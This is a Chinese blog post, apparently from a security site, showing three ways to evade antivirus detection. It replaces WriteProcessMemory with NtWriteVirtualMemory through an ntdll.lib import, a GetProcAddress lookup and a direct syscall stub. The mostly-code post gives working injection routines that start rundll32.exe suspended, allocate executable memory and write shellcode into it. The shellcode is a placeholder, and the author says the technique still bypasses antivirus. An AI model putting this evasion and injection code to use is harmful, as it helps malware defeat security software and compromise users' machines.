Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 代码发布 › 绕过Hook通过内核 API 免杀

绕过Hook通过内核 API 免杀

Eswlnk的头像
Eswlnk
2023-07-29 17:55:29
绕过Hook通过内核 API 免杀-Eswlnk Blog
智能摘要 AI
本文探讨了如何通过替换 WriteProcessMemory API 为对应的内核 API 来实现免杀,主要介绍了三种方法:方法1使用 ntdll.lib 直接调用 NtWriteVirtualMemory;方法2通过 LoadLibrary 和 GetProcAddress 动态加载 ntdll.dll 中的 NtWriteVirtualMemory 函数;方法3采用 syscall 指令直接调用内核函数。这些方法均可绕过某些杀毒软件的静态查杀机制。文中提到的方法对杀软仍有一定效果,适用于需要绕过查杀的应用场景。

起因是我的 WriteProcessMemory API 被某 AV 静态查杀。刚好以此 API 为例给出三种替换 R3 API 为对应内核 API 进行免杀的方式。

代码都是从我自己的项目中复制的一些,所以有无关代码,看重点就好。

方法1:ntdll.lib

#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <conio.h>
#include <iostream>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
using namespace std;
#pragma comment(lib, "ntdll.lib")
extern "C" __declspec(dllimport) NTSTATUS NTAPI NtWriteVirtualMemory(
    IN HANDLE               ProcessHandle,
    IN PVOID                BaseAddress,
    IN PVOID                Buffer,
    IN ULONG                NumberOfBytesToWrite,
    OUT PULONG              NumberOfBytesWritten);

void _tmain(int argc, _TCHAR* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    BOOL process_result = 0;
    BOOL memory_result = 0;
    BOOL context_result = 0;
    BOOL eip_result = 0;
    DWORD resume_result = 0;
    LPVOID rwxpage;
    CONTEXT threadContext;
    int length;
    unsigned char buf[] = "\xcc\xcc\xcc\xc3";
    length = sizeof(buf) / sizeof(buf[0]);
    wchar_t CommandLine[MAX_PATH] = { 0 };
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // 判断机器是 32 还是 64 位,以此确定 32-bit 程序 notepad.exe 的路径
    const int nBitSys = GetSystemBits();
    if (nBitSys == 32)
    {
        wcscpy_s(CommandLine, L"C:\\Windows\\System32\\rundll32.exe");
    }
    if (nBitSys == 64)
    {
        wcscpy_s(CommandLine, L"C:\\Windows\\SysWOW64\\rundll32.exe");
    }

    // 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
    process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (!process_result)
    {
        _tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
        return;
    }

    // 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
    if (pi.hProcess != NULL)
    {
        rwxpage = VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        printf("rwxpage = %p", rwxpage);

        // 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
        if (rwxpage != 0) {
            memory_result = NtWriteVirtualMemory(
                pi.hProcess,
                rwxpage,
                buf,
                length,
                NULL);
        }
    }

    return;
}

效果:

绕过Hook通过内核 API 免杀-Eswlnk Blog

技巧:

文档化的 Nt/Zw 函数可通过 include <winternl.h> 直接获取函数签名。
我上面的代码是未文档化 API 的写法。

方法2:LoadLibrary → GetProcAddress

#include <Windows.h>
#include <iostream>
#include <wincrypt.h>
#include <string>
#include <tchar.h>
#include<vector>
#include <stdio.h>
#include <wchar.h>
#include <conio.h>
#include <tlhelp32.h>
#include <typeinfo>
#include "corecrt_wstring.h"
#pragma comment(lib, "crypt32.lib")
using namespace std;

void _tmain(int argc, _TCHAR* argv[])
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    BOOL process_result = 0;
    BOOL memory_result = 0;
    BOOL context_result = 0;
    BOOL eip_result = 0;
    DWORD resume_result = 0;
    LPVOID rwxpage;
    CONTEXT threadContext;
    int length;
    unsigned char buf[] = "\xcc\xcc\xcc\xc3";
    length = sizeof(buf) / sizeof(buf[0]);
    wchar_t CommandLine[MAX_PATH] = { 0 };
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    // 调用 CreateProcess 以挂起的方式(CREATE_SUSPENDED)创建进程
    process_result = CreateProcessW(NULL, CommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    if (!process_result)
    {
        _tprintf(_T("CreateProcess failed (%d).\n"), GetLastError());
        return;
    }

    // 调用 VirtualAllocEx 函数申请一个可读、可写、可执行的内容
    if (pi.hProcess != NULL)
    {
        rwxpage= VirtualAllocEx(pi.hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        printf("rwxpage = %p", rwxpage);

        // 调用 NtWriteVirtualMemory 将 Shellcode 数据写入刚申请的内存中
        if (rwxpage != 0) {
            typedef NTSTATUS(WINAPI* _NtWriteVirtualMemory)(
                HANDLE ProcessHandle,
                PVOID  BaseAddress,
                PVOID  Buffer,
                ULONG  NumberOfBytesToWrite,
                PULONG NumberOfBytesWritten
                );
            typedef ULONG(WINAPI* _RtlNtStatusToDosError)(
                NTSTATUS Status
                );
            
            // 获取 ntdll.dll 模块句柄
            HMODULE hmNtdll = GetModuleHandle(L"ntdll.dll");
            if (hmNtdll != 0)
            {
                // 获取 NtWriteVirtualMemory 和 RtlNtStatusToDosError 函数地址
                _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hmNtdll, "NtWriteVirtualMemory");
                _RtlNtStatusToDosError RtlNtStatusToDosError = (_RtlNtStatusToDosError)GetProcAddress(hmNtdll, "RtlNtStatusToDosError");

                if (!NtWriteVirtualMemory || !RtlNtStatusToDosError)
                {
                    return;
                }

                // 调用 NtWriteVirtualMemory 函数将 Shellcode 写入内存
                NTSTATUS status = NtWriteVirtualMemory(pi.hProcess, rwxpage, buf, length, NULL);
                if (!NT_SUCCESS(status))
                {
                    SetLastError(RtlNtStatusToDosError(status));
                    _tprintf(_T("NtWriteVirtualMemory failed (%d).\n"), GetLastError());
                    return;
                }
            }
        }
    }

    return;
}

方法3:syscall

绕过Hook通过内核 API 免杀-Eswlnk Blog
;.asm
.code
NtWriteVirtualMemory proc
    mov     r10, rcx       
    mov     eax, 3Ah 
    syscall
    ret
NtWriteVirtualMemory endp

优点

可绕过 inline hook

小结

该方法对杀软仍然有效,可选择此方法绕过查杀

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
声明:本站原创文章文字版权归本站所有,转载务必注明作者和出处;本站转载文章仅仅代表原作者观点,不代表本站立场,图文版权归原作者所有。如有侵权,请联系我们删除。
APIhookWindows免杀安全漏洞
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
使用 certbot 快速获取 Let's Encrypt 证书,提升网站安全性
上一篇
「代码分享」通过PHP微信扫描关注公众号
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 「漏洞资讯」CVE-2025-12914:宝塔面板曝出注入漏洞
  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 漏洞资讯:Ollama 未授权访问漏洞分析与防护指南
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

如何在Rocky Linux 8上安装WordPress
2021-09-02 21:53:16
趣谈被高估的DRY编程原则
2022-07-08 0:46:14
如何编写简洁代码?
2022-12-20 18:38:52

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 0.464 秒   |  SQL查询 35 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈